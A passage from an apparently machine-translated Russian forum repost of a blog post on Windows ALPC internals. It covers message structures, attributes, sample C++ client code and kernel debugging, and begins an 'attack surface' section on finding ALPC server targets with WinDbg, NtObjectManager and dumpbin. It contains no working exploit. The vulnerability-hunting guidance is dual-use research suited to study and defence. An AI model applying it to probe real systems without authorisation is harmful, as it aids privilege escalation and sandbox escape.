    • И клиент, и сервер могут указать, какие атрибуты сообщения(мы вернемся к этому чуть позже) они хотят получать при прослушивании новых сообщений.

_…подождите… Почему сервер отправляет/принимает данные через порт соединения а не связи , если у него есть выделенный порт связи?… Это была одна из многих вещей, которые озадачили меня в ALPC, и вместо того, чтобы тяжелая работа заднего хода, чтобы понять это самостоятельно, я сжульничал, связался с Алексом Ионеску и просто спросил эксперта. Я поместил ответ в [Приложение А ](https://csandker.io/2022/05/24/Offensive- Windows-IPC-3-ALPC.html#appendix-a-the-use-of-connection-and-communication- ports)в конце этого поста, так как я не хочу слишком далеко уходить от потока сообщений в этот момент… извините за вешалку… _

В любом случае, оглядываясь назад на поток сообщений сверху, мы можем понять, что клиент и сервер используют вызовы различных функций для создания портов ALPC, а затем отправляют и получают сообщения через единую функцию. NtAlpcSendWaitReceivePort. Хотя он содержит достаточный объем информации о потоке сообщений, важно всегда помнить, что сервер и клиент не имеют прямого однорангового соединения, а вместо этого направляют все сообщения через ядро, которое отвечает за размещение сообщений в очереди сообщений, уведомляя каждую сторону о полученных сообщениях и другие вещи, такие как проверка сообщений и атрибутов сообщений. Чтобы представить это в перспективе, я добавил несколько вызовов ядра на эту картинку:

1655177247928.png

Я должен признать, что на первый взгляд эта диаграмма не очень интуитивна, но я обещаю, что в процессе все прояснится, потерпите меня.
Чтобы получить более полное представление о том, как ALPC выглядит внутри, нам нужно немного глубже погрузиться в части реализации сообщений ALPC, которые я расскажу в следующем разделе.

Детали обмена сообщениями ALPC ​

Итак, прежде всего, давайте проясним структуру сообщения ALPC. Сообщение ALPC всегда состоит из так называемого PORT_HEADER или PORT_MESSAGE , за которым следует фактическое сообщение, которое вы хотите отправить, например текст, двоичное содержимое или что-то еще.

1655177308827.png

В простом старом C++ мы можем определить сообщение ALPC с помощью следующих двух структур:

C++:Copy to clipboard

typedef struct _ALPC_MESSAGE {
    PORT_MESSAGE PortHeader;
    BYTE PortMessage[100];      // using a byte array of size 100 to store my actual message
} ALPC_MESSAGE, * PALPC_MESSAGE;

typedef struct _PORT_MESSAGE
{
    union {
        struct {
            USHORT DataLength;
            USHORT TotalLength;
        } s1;
        ULONG Length;
    } u1;
    union {
        struct {
            USHORT Type;
            USHORT DataInfoOffset;
        } s2;
        ULONG ZeroInit;
    } u2;
    union {
        CLIENT_ID ClientId;
        double DoNotUseThisField;
    };
    ULONG MessageId;
    union {
        SIZE_T ClientViewSize;
        ULONG CallbackId;
    };
} PORT_MESSAGE, * PPORT_MESSAGE;

Чтобы отправить сообщение, нам нужно сделать следующее:

C++:Copy to clipboard

// specify the message struct and fill it with all 0's to get a clear start
ALPC_MESSAGE pmSend, pmReceived;
RtlSecureZeroMemory(&pmSend, sizeof(pmSend));
RtlSecureZeroMemory(&pmReceived, sizeof(pmReceived));
// getting a pointer to my payload (message) byte array
LPVOID lpPortMessage = pmSend->PortMessage;
LPCSTR lpMessage = "Hello World!";
int lMsgLen = strlen(lpMessage);
// copying my message into the message byte array
memmove(lpPortMessage, messageContent, lMsgLen);
// specify the length of the message
pMessage->PortHeader.u1.s1.DataLength = lMsgLen;
// specify the total length of the ALPC message
pMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + lMsgLen;
// Send the ALPC message
NTSTATUS lSuccess = NtAlpcSendWaitReceivePort(
    hCommunicationPort,        // the client's communication port handle
    ALPC_MSGFLG_SYNC_REQUEST, // message flags: synchronous message (send & receive message)
    (PPORT_MESSAGE)&pmSend,    // our ALPC message
    NULL,                   // sending message attributes: we don't need that in the first step
    (PPORT_MESSAGE)&pmReceived, // ALPC message buffer to receive a message
    &ulReceivedSize,        // SIZE_T ulReceivedSize; Size of the received message
    NULL,                   // receiving message attributes: we don't need that in the first step
    0                       // timeout parameter, we don't want to timeout
);

Этот фрагмент кода отправит сообщение ALPC с текстом «Hello World!» на сервер, к которому мы подключились. Мы указали, что сообщение должно быть синхронным сообщением с ALPC_MSGFLG_SYNC_REQUESTфлаг, который означает, что этот вызов будет ожидать (блокироваться), пока сообщение не будет получено на коммуникационном порту клиента.
Конечно, нам не нужно ждать, пока придет новое сообщение, а использовать оставшееся до этого время для других задач (помните, что ALPC создавался как асинхронный, быстрый и эффективный). Для облегчения этого ALPC предоставляет три различных типа сообщений:

  • Синхронный запрос : как упоминалось выше, синхронные сообщения блокируются до тех пор, пока не поступит новое сообщение (как логический результат этого, при вызове необходимо указать принимающий буфер сообщений ALPC). NtAlpcSendWaitReceivePortс синхронными сообщениями)
  • Асинхронный запрос : асинхронные сообщения отправляют ваше сообщение, но не ждут и не воздействуют на какие-либо полученные сообщения.
  • Запросы дейтаграмм: запросы дейтаграмм похожи на пакеты UDP, они не ожидают ответа, и поэтому ядро не блокируется в ожидании полученного сообщения при отправке запроса дейтаграммы.

Таким образом, в основном вы можете отправить сообщение, которое ожидает ответа, или сообщение, которое не ожидает ответа, и когда вы выбрали первое, вы можете, кроме того, подождать, пока не придет ответ, или не ждать и сделать что-то еще с вашим ценным процессорным временем в тем временем. Это оставляет вас с вопросом о том, как получить ответ в случае, если вы выбрали этот последний вариант, а не ждать (асинхронный запрос) в течение NtAlpcSendWaitReceivePortвызов функции?
Еще раз у вас есть 3 варианта:

  • Вы можете использовать список завершения ALPC, и в этом случае ядро не информирует вас (как получателя) о получении новых данных, а вместо этого просто копирует данные в память вашего процесса. Вы (как получатель) должны знать о наличии этих новых данных. Например, это может быть достигнуто с помощью события уведомления, которое совместно используется вами и сервером ALPC¹. Как только сервер сигнализирует о событии, вы знаете, что поступили новые данные.
    ¹Взято из [Windows Internals, Part 2, 7th Edition ](https://www.microsoftpressstore.com/store/windows-internals- part-2-9780135462409).

  • Вы можете использовать порт завершения ввода-вывода, который является задокументированным средством синхронизации.

  • Вы можете получить обратный вызов ядра, чтобы получить ответы, но это разрешено только в том случае, если ваш процесс находится в земле ядра.

Поскольку у вас есть возможность не получать сообщения напрямую, вполне вероятно, что придет более одного сообщения и будет ожидать получения. Для обработки нескольких сообщений в разных состояниях ALPC использует очереди для обработки и управления большими объемами сообщений, накапливающихся на сервере. Существует пять разных очередей для сообщений, и чтобы различать их, я процитирую главу 8 « [Внутреннее устройство Windows, часть 2, 7-е издание» ](https://www.microsoftpressstore.com/store/windows-internals- part-2-9780135462409)(поскольку нет лучшего способа выразить это несколькими словами):

  • Основная очередь : сообщение было отправлено, и клиент его обрабатывает.
  • Ожидающая очередь : сообщение было отправлено, и вызывающий абонент ожидает ответа, но ответ еще не отправлен.
  • Большая очередь сообщений : сообщение было отправлено, но буфер вызывающей стороны был слишком мал для его получения. Вызывающий получает еще один шанс выделить больший буфер и снова запросить полезную нагрузку сообщения.
  • Отмененная очередь : сообщение, которое было отправлено на порт, но с тех пор было отменено.
  • Прямая очередь : сообщение, которое было отправлено с прикрепленным прямым событием.

Click to expand...

На данный момент я не собираюсь углубляться в параметры синхронизации сообщений и различные очереди — мне нужно где-то сделать вырез — однако, если кто-то заинтересован в поиске ошибок в этих областях кода, я настоятельно рекомендую посмотреть в главу 8 удивительного [внутреннего устройства Windows, часть 2, 7-е издание ](https://www.microsoftpressstore.com/store/windows- internals-part-2-9780135462409). Я многому научился из этой книги и не могу не похвалить ее!

Наконец, что касается деталей обмена сообщениями в ALPC, есть последний момент, который еще не был подробно описан, а именно вопрос о том , как сообщение передается от клиента к серверу. Было упомянуто, какие сообщения можно отправлять, как выглядит структура сообщения, какой существует механизм синхронизации и остановки сообщений, но до сих пор не было подробно описано, как сообщение передается от одного процесса к другому.
У вас есть два варианта для этого:

  • Механизм двойного буфера : в этом подходе буфер сообщений выделяется в пространстве памяти отправителя и получателя (виртуальном), и сообщение копируется из (виртуальной) памяти отправителя в (виртуальную) память ядра, а оттуда в память получателя (виртуальную). Память. Он называется двойным буфером, потому что буфер, содержащий сообщение, выделяется и копируется дважды (отправитель -> ядро и ядро -> получатель).
  • Механизм объекта раздела : вместо выделения буфера для хранения сообщения клиент и сервер могут также выделить раздел общей памяти, к которому могут получить доступ обе стороны, отобразить представление этого раздела, что в основном означает ссылку на определенную область этого выделенный раздел — скопируйте сообщение в сопоставленное представление и, наконец, отправьте это представление в качестве атрибута сообщения (обсуждается в следующей главе) получателю. Получатель может извлечь указатель на то же представление, которое отправитель использовал через атрибут сообщения представления, и прочитать данные из этого представления.

Основной причиной использования «механизма объекта раздела» является отправка больших сообщений, поскольку длина сообщений, отправляемых через «механизм двойного буфера» , имеет жестко запрограммированное ограничение размера в 65535 байт. При превышении этого предела в буфере сообщений выдается ошибка. Функция AlpcMaxAllowedMessageLength()можно использовать для получения максимального размера буфера сообщений, который может измениться в будущих версиях Windows.
Этот «механизм двойного буфера» использовался во фрагменте кода выше. Оглядываясь назад, буфер сообщения для отправленного и полученного сообщения был неявно выделен с помощью первых трех строк кода:

C++:Copy to clipboard

ALPC_MESSAGE pmSend, pmReceived;                // these are the message buffers
RtlSecureZeroMemory(&pmSend, sizeof(pmSend));
RtlSecureZeroMemory(&pmReceived, sizeof(pmReceived));

Затем этот буфер сообщений был передан ядру при вызове NtAlpcSendWaitReceivePort, который копирует буфер отправки в буфер приема на другой стороне.
Мы также могли бы покопаться в ядре, чтобы выяснить, как на самом деле выглядит сообщение ALPC (отправляемое через буферы сообщений). Реверс NtAlpcSendWaitReceivePortприводит нас к функции ядра AlpcpReceiveMessage, который в конечном итоге вызывает — для нашего пути кода — в AlpcpReadMessageData, где происходит копирование буфера.
Примечание: если вас интересуют все детали реверсирования, которые я здесь не упомянул, ознакомьтесь с моим последующим постом:Отладка и реверсирование ALPC.
В конце этого пути вы найдете простой [RtlCopyMemory ](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm- rtlcopymemory), который является просто макросом для [memcpy ](https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/memcpy- wmemcpy?view=msvc-170), который копирует кучу байтов из одного пространства памяти в другое — это не так красиво, как можно было бы ожидать, но это то, что это ¯\ (ツ) /¯.

1655177576695.png

Чтобы увидеть это в действии, я поставил точку останова в AlpcpReadMessageData показанная выше функция для моего серверного процесса ALPC. Точка останова срабатывает, когда мой клиент ALPC подключается и отправляет начальное сообщение на сервер. Сообщение, которое отправляет клиент, это: Hello Server. Аннотированный вывод отладки показан ниже:

1655177630636.png

Эти экраны отладки показывают, как выглядит сообщение ALPC, отправленное через буфер сообщений… просто байты в памяти процесса.
Также обратите внимание, что приведенные выше экраны являются визуальным представлением «механизма двойного буфера» на втором этапе копирования буфера, когда сообщение копируется из пространства памяти ядра в пространство памяти процесса получателя. Действие копирования из отправителя в пространство ядра не отслеживалось, поскольку точка останова была установлена только для процесса-получателя.

Атрибуты сообщения ALPC ​

Хорошо, есть еще одна последняя деталь, которую необходимо детализировать, прежде чем собрать все вместе, а именно атрибуты сообщения ALPC. Я уже несколько раз упоминал атрибуты сообщения, так что вот что это значит.
При отправке и получении сообщений через NtAlpcSendWaitReceivePort, клиент и сервер могут указать набор атрибутов, которые они хотели бы отправлять и/или получать. Этот набор атрибутов, которые нужно отправить, и набор атрибутов, которые нужно получить, передаются в NtAlpcSendWaitReceivePortв двух дополнительных параметрах, показанных ниже:

1655177779292.png

Идея здесь заключается в том, что как отправитель вы можете передать дополнительную информацию получателю, а получатель на другом конце может указать, какой набор атрибутов он хотел бы получить, а это означает, что не обязательно вся дополнительная информация, которая была отправлена, также доступна получателю. получатель.
Следующие атрибуты сообщения могут быть отправлены и/или получены:

  • Атрибут безопасности : Атрибут безопасности содержит информацию о контексте безопасности, которая, например, может использоваться для олицетворения отправителя сообщения (подробно описано в Имитация »). Эта информация контролируется и проверяется ядром. Структура этого атрибута показана ниже:

C++:Copy to clipboard

typedef struct _ALPC_SECURITY_ATTR {
    ULONG Flags;
    PSECURITY_QUALITY_OF_SERVICE pQOS;
    HANDLE ContextHandle;
} ALPC_SECURITY_ATTR, * PALPC_SECURITY_ATTR;
  • Атрибут просмотра : как описано в конце главы « Подробности обмена сообщениями », этот атрибут можно использовать для передачи указателя на раздел общей памяти, который может использоваться принимающей стороной для чтения данных из этого раздела памяти. Структура этого атрибута показана ниже:

C++:Copy to clipboard

typedef struct _ALPC_DATA_VIEW_ATTR {
    ULONG Flags;
    HANDLE SectionHandle;
    PVOID ViewBase;
    SIZE_T ViewSize;
} ALPC_DATA_VIEW_ATTR, * PALPC_DATA_VIEW_ATTR;
  • Атрибут контекста : Атрибут контекста хранит указатели на определяемые пользователем структуры контекста, которые были назначены конкретному клиенту (коммуникационному порту) или конкретному сообщению. Структура контекста может быть любой произвольной структурой, например уникальным номером, и предназначена для идентификации клиента. Сервер может извлечь и сослаться на структуру порта, чтобы однозначно идентифицировать клиента, отправляющего сообщение. Пример структуры порта, которую я использовал, можно найти здесь . Ядро установит порядковый номер, идентификатор сообщения и идентификатор обратного вызова, чтобы включить структурированную обработку сообщений (аналогично TCP). Этот атрибут сообщения всегда может быть извлечен получателем сообщения, отправитель не должен указывать это и не может запретить получателю доступ к этому. Структура этого атрибута показана ниже:

C++:Copy to clipboard

typedef struct _ALPC_CONTEXT_ATTR {
    PVOID PortContext;
    PVOID MessageContext;
    ULONG Sequence;
    ULONG MessageId;
    ULONG CallbackId;
} ALPC_CONTEXT_ATTR, * PALPC_CONTEXT_ATTR;
  • Атрибут дескриптора: Атрибут дескриптора может использоваться для передачи дескриптора конкретному объекту, например, файлу. Получатель может использовать этот дескриптор для ссылки на объект, например, при вызове ReadFile . Ядро проверит, действителен ли переданный дескриптор, и в противном случае выдаст ошибку. Структура этого атрибута показана ниже:

Code:Copy to clipboard

typedef struct _ALPC_MESSAGE_HANDLE_INFORMATION {
    ULONG Index;
    ULONG Flags;
    ULONG Handle;
    ULONG ObjectType;
    ACCESS_MASK GrantedAccess;
} ALPC_MESSAGE_HANDLE_INFORMATION, * PALPC_MESSAGE_HANDLE_INFORMATION;
  • Атрибут токена: Атрибут токена может использоваться для передачи ограниченной информации о токене отправителя. Структура этого атрибута показана ниже:

Code:Copy to clipboard

typedef struct _ALPC_TOKEN_ATTR
{
    ULONGLONG TokenId;
    ULONGLONG AuthenticationId;
    ULONGLONG ModifiedId;
} ALPC_TOKEN_ATTR, * PALPC_TOKEN_ATTR;
  • Прямой атрибут : Прямой атрибут можно использовать для связывания созданного события с сообщением. Получатель может получить событие, созданное отправителем, и сигнализировать об этом, чтобы сообщить отправителю, что сообщение отправки было получено (особенно полезно для запросов дейтаграмм). Структура этого атрибута показана ниже:

C++:Copy to clipboard

typedef struct _ALPC_DIRECT_ATTR
{
    HANDLE Event;
} ALPC_DIRECT_ATTR, * PALPC_DIRECT_ATTR;
  • Атрибут Work-On-Behalf-Of : этот атрибут можно использовать для отправки рабочего билета , связанного с отправителем. Я не играл с этим, поэтому я не могу вдаваться в подробности. Структура этого атрибута показана ниже:

C++:Copy to clipboard

typedef struct _ALPC_WORK_ON_BEHALF_ATTR
{
    ULONGLONG Ticket;
} ALPC_WORK_ON_BEHALF_ATTR, * PALPC_WORK_ON_BEHALF_ATTR;

Атрибуты сообщения, как они инициализируются и отправляются, были еще одной вещью, которая озадачила меня при кодировании примера сервера и клиента ALPC. Так что вы не столкнетесь с теми же проблемами, которые были у меня здесь, это секрет, который я узнал об атрибутах сообщения ALPC:
Для начала необходимо знать, что структура атрибутов сообщения ALPC следующая:

C++:Copy to clipboard

typedef struct _ALPC_MESSAGE_ATTRIBUTES
{
    ULONG AllocatedAttributes;
    ULONG ValidAttributes;
} ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES;

Глядя на это, я сначала подумал, что вы вызываете функцию [AlpcInitializeMessageAttribute, ](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/ALPC/CPP-ALPC-Basic-Client-Server/CPP- Util/ALPC.h#L292-L298)даете ей ссылку на приведенную выше структуру и флаг для атрибута сообщения, которое вы хотите отправить (на все атрибуты ссылается значение флага, [вот список из моего кода ](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/ALPC/CPP-ALPC-Basic-Client-Server/CPP- Util/ALPC.h#L12-L23)) и ядро затем устанавливает все это для вас. Затем вы помещаете указанную структуру в [NtAlpcSendWaitReceivePort ](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/ALPC/CPP-ALPC-Basic-Client-Server/CPP- Util/ALPC.h#L322-L332), повторяете процесс для каждого сообщения, которое хотите отправить, и все готово.
Это не так и кажется неправильным на нескольких уровнях. Только после того, как я нашел этот пост в твиттере от 2020 года и Алекса на SyScan'14 (я пересматривал его не менее 20 раз во время своего исследования), я пришел к тому, что я сейчас считаю правильным путем. Позвольте мне сначала выявить ошибки в моих первоначальных убеждениях, прежде чем объединять правильный курс действий:

  • AlpcInitializeMessageAttribute ни хрена вам не делает, на самом деле он только очищает ValidAttributesфлаг и устанавливает AllocatedAttributesфлаг в соответствии с указанными вами атрибутами сообщения (так что никакая магия ядра не заполняет данные вообще).
    Должен признаться, я заметил это на раннем этапе обратного проектирования функции, но какое-то время я все еще надеялся, что она сделает что-то еще, поскольку название функции было таким многообещающим.

  • Чтобы правильно настроить атрибут сообщения, вы должны выделить соответствующую структуру сообщения и поместить ее в буфер после ALPC_MESSAGE_ATTRIBUTES. Таким образом, это похоже на ALPC_MESSAGE где фактическое сообщение необходимо поместить в буфер после PORT_MESSAGE.

  • Не ядро устанавливает ValidAttributes для вашей ALPC_MESSAGE_ATTRIBUTES , вы должны установить его самостоятельно. Я понял это, поигравшись со структурой, и какое-то время думал, что это просто странный обходной путь, потому что зачем мне устанавливать ValidAttributesполе? Насколько я понимаю, мои атрибуты всегда действительны, и не должна ли задача ядра проверять их действительность.
    Я провел еще один раунд выступления Алекса на SyScan'14, чтобы понять, что...

  • Вы не устанавливаете атрибуты сообщения для каждого вызова NtAlpcSendWaitReceivePort , вы устанавливаете все атрибуты сообщения один раз и используете ValidAttributes перед вызовом NtAlpcSendWaitReceivePort , чтобы указать, какие из всех ваших настроенных атрибутов действительны для этого самого сообщения, которое вы отправляете сейчас.

Чтобы объединить это в полезные знания, вот как работают атрибуты отправки сообщения(в моем текущем понимании):

  • Прежде всего, у вас есть два буфера: Буфер для атрибутов сообщений, которые вы хотите получить (в моем коде с именем: MsgAttrReceived) и буфер для атрибутов сообщений, которые вы хотите отправить (в моем коде с именем: MsgAttrSend).
  • Для MsgAttrReceivedбуфера, вам просто нужно выделить буфер, достаточно большой для хранения ALPC_MESSAGE_ATTRIBUTES , а также всех атрибутов сообщения, которые вы хотите получить. После выделения этого буфера установите AllocatedAttributesатрибут к соответствующему значению атрибута(ов) флага(ов). Этот AllocatedAttributesзначение может быть изменено для каждого сообщения, которое вы получаете.
    Для моего примера сервера и клиентского приложения я просто хочу всегда получать все атрибуты, которые может дать мне ядро, поэтому я устанавливаю буфер для получения атрибутов один раз в начале моего кода следующим образом:

C++:Copy to clipboard

pMsgAttrReceived = alloc_message_attribute(ALPC_MESSAGE_ATTRIBUTE_ALL);
PALPC_MESSAGE_ATTRIBUTES alloc_message_attribute(ULONG ulAttributeFlags) {
    NTSTATUS lSuccess;
    PALPC_MESSAGE_ATTRIBUTES pAttributeBuffer;
    LPVOID lpBuffer;
    SIZE_T lpReqBufSize;
    SIZE_T ulAllocBufSize;

    ulAllocBufSize = AlpcGetHeaderSize(ulAttributeFlags); // required size for specified attribues
    lpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulAllocBufSize);
    if (GetLastError() != 0) {
        wprintf(L"[-] Failed to allocate memory for ALPC Message attributes.\n");
        return NULL;
    }
    pAttributeBuffer = (PALPC_MESSAGE_ATTRIBUTES)lpBuffer;
    // using this function to properly set the 'AllocatedAttributes' attribute
    lSuccess = AlpcInitializeMessageAttribute(
        ulAttributeFlags,    // attributes
        pAttributeBuffer,    // pointer to attributes structure
        ulAllocBufSize,    // buffer size
        &lpReqBufSize
    );
    if (!NT_SUCCESS(lSuccess)) {
        return NULL;
    }
    else {
        //wprintf(L"Success.\n");
        return pAttributeBuffer;
    }
}
  • Для MsgAttrSendбуфер включает еще два шага. Вы должны выделить буфер, достаточно большой для хранения ALPC_MESSAGE_ATTRIBUTES , а также всех атрибутов сообщений, которые вы хотите отправить (как и раньше). Вы должны установить AllocatedAttributesатрибут (так же, как и раньше), но затем вы также должны инициализировать атрибуты сообщения (имеется в виду создание необходимых структур и заполнение их допустимыми значениями), которые вы хотите отправить, а затем, наконец, установить ValidAttributesатрибут. В моем коде я хотел отправлять разные атрибуты в разных сообщениях, вот как я это сделал:

C++:Copy to clipboard

// Allocate buffer and initialize the specified attributes
pMsgAttrSend = setup_sample_message_attributes(hConnectionPort, hServerSection, ALPC_MESSAGE_SECURITY_ATTRIBUTE | ALPC_MESSAGE_VIEW_ATTRIBUTE | ALPC_MESSAGE_HANDLE_ATTRIBUTE);
// ...
// Before sending a message mark certain attributes as valid, in this case ALPC_MESSAGE_SECURITY_ATTRIBUTE
pMsgAttrSend->ValidAttributes |= ALPC_MESSAGE_SECURITY_ATTRIBUTE
lSuccess = NtAlpcSendWaitReceivePort(hConnectionPort, ...)
//...
  • С буфером атрибутов отправки есть еще один нюанс: вам не нужно выделять или инициализировать атрибут контекста или атрибут токена. Ядро всегда будет подготавливать эти атрибуты, и получатель всегда может их запросить.
  • Если вы хотите отправить несколько атрибутов сообщения, у вас будет буфер, начинающийся с ALPC_MESSAGE_ATTRIBUTES , за которым следуют инициализированные структуры для всех нужных вам атрибутов сообщения.
    Так как же ядро узнает, какая структура атрибутов какая? Ответ: Вы должны расположить атрибуты сообщения в заранее определенном порядке, который можно угадать по значению их флагов атрибута сообщения (от [высшего ](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/ALPC/CPP-ALPC-Basic-Client-Server/CPP-Util/ALPC.h#L38)к [низшему ](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/ALPC/CPP-ALPC-Basic-Client-Server/CPP-Util/ALPC.h#L44)) или найти в _KALPC_MESSAGE_ATTRIBUTES :

1655178300496.png

  • Вы могли заметить, что контекста и маркера не отслеживаются в этой структуре, потому что ядро всегда предоставляет их для любого сообщения и, следовательно, отслеживает их сообщение независимо.
  • После отправки ядро проверит все атрибуты сообщения, заполнит значения (например, порядковые номера) или очистит недопустимые атрибуты, прежде чем предложить их получателю.
  • Наконец, ядро скопирует атрибуты, указанные получателем как AllocatedAttributesв приемник MsgAttrReceivedбуфер, откуда они могут быть получены получателем.

Надеюсь, все вышеперечисленное также станет немного яснее, если вы просмотрите [мой код ](https://github.com/csandker/InterProcessCommunication- Samples/tree/master/ALPC/CPP-ALPC-Basic-Client-Server)и сопоставите эти операторы с тем, где и как я использовал атрибуты сообщения.
До сих пор мы представили различные компоненты ALPC, чтобы описать, как работает система обмена сообщениями ALPC и как выглядит сообщение ALPC. Позвольте мне завершить эту главу, рассмотрев некоторые из этих компонентов в перспективе. Приведенное выше описание и структура сообщения ALPC описывает, как сообщение ALPC выглядит для отправителя и получателя, но следует помнить, что ядро добавляет к этому сообщению гораздо больше информации — фактически оно берет предоставленные части и помещает их в гораздо большая структура сообщений ядра - как вы можете видеть ниже:

1655178343917.png

Таким образом, сообщение здесь таково: мы достигли хорошего понимания, но под капотом есть гораздо больше , чего мы не коснулись.

Собираем кусочки вместе: образец приложения​

Я написал образец клиентского и серверного приложения ALPC в качестве игровой площадки для понимания различных компонентов ALPC. Не стесняйтесь просматривать и изменять код, чтобы получить собственное представление об ALPC. Несколько справедливых предупреждений об этом коде:

  • Код не предназначен для масштабирования/развития. Код предназначен для легкого чтения и руководства по основным шагам отправки/получения сообщений ALPC.
  • Этот код никоим образом не оптимизирован по производительности, ресурсам или чему-то еще. Это для обучения.
  • Я не удосужился предпринять какие-либо усилия по освобождению буферов, сообщений или любых других ресурсов (что связано с прямым путем атаки, как описано в разделе «Неосвобожденные объекты сообщений» ).

Хотя файлов не так много, позвольте мне указать на несколько примечательных строк кода:

  • Вы можете найти, как я устанавливаю атрибуты типовых сообщений здесь .
  • Вы можете найти звонок NtAlpcSendWaitReceivePortкоторый и отправляет, и получает сообщение здесь .
  • Вы можете найти флаги портов ALPC, флаги атрибутов сообщений, флаги сообщений и соединений здесь .

И, наконец, вот как это выглядит:

1655178451615.png

Поверхность атаки ​

Прежде чем углубляться в поверхность атаки каналов связи ALPC, я хотел бы указать на интересную концептуальную слабость связи ALPC, на которой основаны приведенные ниже пути атаки, и о которых следует помнить, чтобы найти дальнейший потенциал для использования.
Оглядываясь назад на [Поток сообщений ALPC» ](https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html#alpc- message-flow), мы можем вспомнить, что для обеспечения связи ALPC сервер должен открыть порт ALPC (соединение), дождаться входящих сообщений, а затем принять или отклонить эти сообщения. Хотя порт ALPC является защищаемым объектом ядра и может быть создан с помощью [дескриптора безопасности ](https://docs.microsoft.com/en-us/windows/win32/secauthz/security- descriptors), который определяет, кто может получить к нему доступ и подключиться к нему, в большинстве случаев процесс создания сервера ALPC не может (или не хочет) ограничивать доступ на основе вызываемого абонента [SID ](https://docs.microsoft.com/en-us/windows/win32/secauthz/security- identifiers). Если вы не можете (или хотите) ограничить доступ к вашему порту ALPC с помощью [SID ](https://docs.microsoft.com/en- us/windows/win32/secauthz/security-identifiers), единственный вариант, который у вас есть, — это разрешить всем подключаться к вашему порту и принимать/отклонять решение после того, как клиент подключится и отправит вам сообщение. Это, в свою очередь, означает, что многие встроенные серверы ALPC позволяют всем подключаться и отправлять сообщения на сервер. Даже если сервер сразу отклоняет клиента, отправки начального сообщения и некоторых атрибутов сообщения вместе с этим сообщением может быть достаточно для использования уязвимости.
Благодаря этой коммуникационной архитектуре и повсеместному распространению ALPC использование ALPC также является интересным способом избежать песочницы.

Определить цели ​

Первым шагом в отображении поверхности атаки является определение целей, которыми в нашем случае являются клиентские или серверные процессы ALPC.
Обычно мне приходят в голову три способа идентифицировать такие процессы:

  1. Определите объекты порта ALPC и сопоставьте их с процессами-владельцами
  2. Проверить процессы и определить, используется ли в них ALPC
  3. Используйте отслеживание событий для Windows (ETW) для составления списка событий ALPC.

Все эти способы могут быть интересны, поэтому давайте рассмотрим их…

Найти объекты порта ALPC

Мы уже видели самый простой способ идентификации объектов порта ALPC в начале этого сообщения, который заключается в запуске WinObj и обнаружении объектов ALPC по столбцу «Тип». WinObj не может дать нам более подробной информации, поэтому мы обращаемся к [WinDbg ](https://docs.microsoft.com/en- us/windows-hardware/drivers/debugger/debugger-download-tools), чтобы проверить этот объект порта ALPC:

1655178499879.png

В приведенных выше командах мы использовали команду Windbg [!object ](https://docs.microsoft.com/en-us/windows- hardware/drivers/debugger/-object)для запроса к диспетчеру именованного объекта по указанному пути. Это неявно уже говорило нам, что этот порт ALPC должен быть портом соединения ALPC , потому что порты связи не названы. В свою очередь мы можем сделать вывод, что мы можем использовать WinObj только для поиска портов подключения ALPC и через эти только серверные процессы ALPC.
Говоря о серверных процессах: как показано выше, можно использовать [WinDbg. ](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger- download-tools)недокументированные !alpcКоманда для отображения информации о порте ALPC, который мы только что идентифицировали. Вывод включает в себя, наряду с большим количеством другой полезной информации, серверный процесс, владеющий портом, которым в данном случае является svchost.exe.
Теперь, когда мы знаем адрес объекта порта ALPC, мы можем использовать !alpcеще раз, чтобы отобразить активные соединения для этого порта соединения ALPC:

1655178546665.png

_Примечание: команда !alpc Windbg не задокументирована, но устаревшая команда !lpc, которая существовала во времена LPC, задокументирована здесь и имеет отметку времени от декабря 2021 года. На этой странице документации упоминается, что команда !lpc устарела и что Вместо этого следует использовать команду !alpc, но синтаксис и параметры команды !alpc совершенно другие. Но, честно говоря, синтаксис команды !alpc отображается в WinDbg, если вы введете любую недопустимую команду !alpc: _

![WinDbg_alpc_command_syntax](/proxy.php?image=https%3A%2F%2Fcsandker.io%2Fpublic%2Fimg%2F2022-05-24-Offensive- Windows- IPC-3-ALPC%2FWinDbg_alpc_command_syntax.png&hash=35540c02b769ae89c344e71ffcdda060)

Благодаря Джеймсу Форшоу и его [NtObjectManager в .NET ](https://github.com/googleprojectzero/sandbox- attacksurface-analysis- tools/tree/25b183136e9a44ed148a0616875d83d785ef46de/NtObjectManager)мы также можем легко запросить NtObjectManager в PowerShell для поиска объектов порта ALPC, и, что еще лучше, Джеймс уже предоставил для этого функцию-оболочку через [Get-AccessibleAlpcPort ](https://github.com/googleprojectzero/sandbox-attacksurface-analysis- tools/blob/25b183136e9a44ed148a0616875d83d785ef46de/NtObjectManager/RpcFunctions.ps1#L49).

1655178606705.png

Найти ALPC, используемый в процессах

Как всегда, существуют различные способы узнать об использовании портов ALPC в процессах, вот некоторые из них, которые пришли на ум:

  • Подобно подходам в предыдущих сообщениях ( здесь ), можно использовать dumpbin.exe для вывода списка импортированных функций исполняемых файлов и поиска в них вызовов функций, специфичных для ALPC.
  • Поскольку описанный выше подход работает с исполняемыми файлами на диске, но не с запущенными процессами, можно перенести метод, используемый dumpbin.exe и проанализировать таблицу адресов импорта (IAT) запущенных процессов, чтобы найти вызовы функций, специфичных для ALPC.
  • Можно подключиться к запущенным процессам, запросить открытые дескрипторы для этого процесса и отфильтровать те дескрипторы, которые указывают на порты ALPC.

После [установки dumpbin.exe ](https://docs.microsoft.com/en- us/cpp/build/reference/dumpbin-reference?view=msvc-170), который, например, поставляется с пакетом разработки Visual Studio C++, можно использовать следующие два однострочника PowerShell для поиска .exe и .dll , которые создают или подключаются к порту ALPC:

Rich (BB code):Copy to clipboard

## Get ALPC Server processes (those that create an ALPC port)
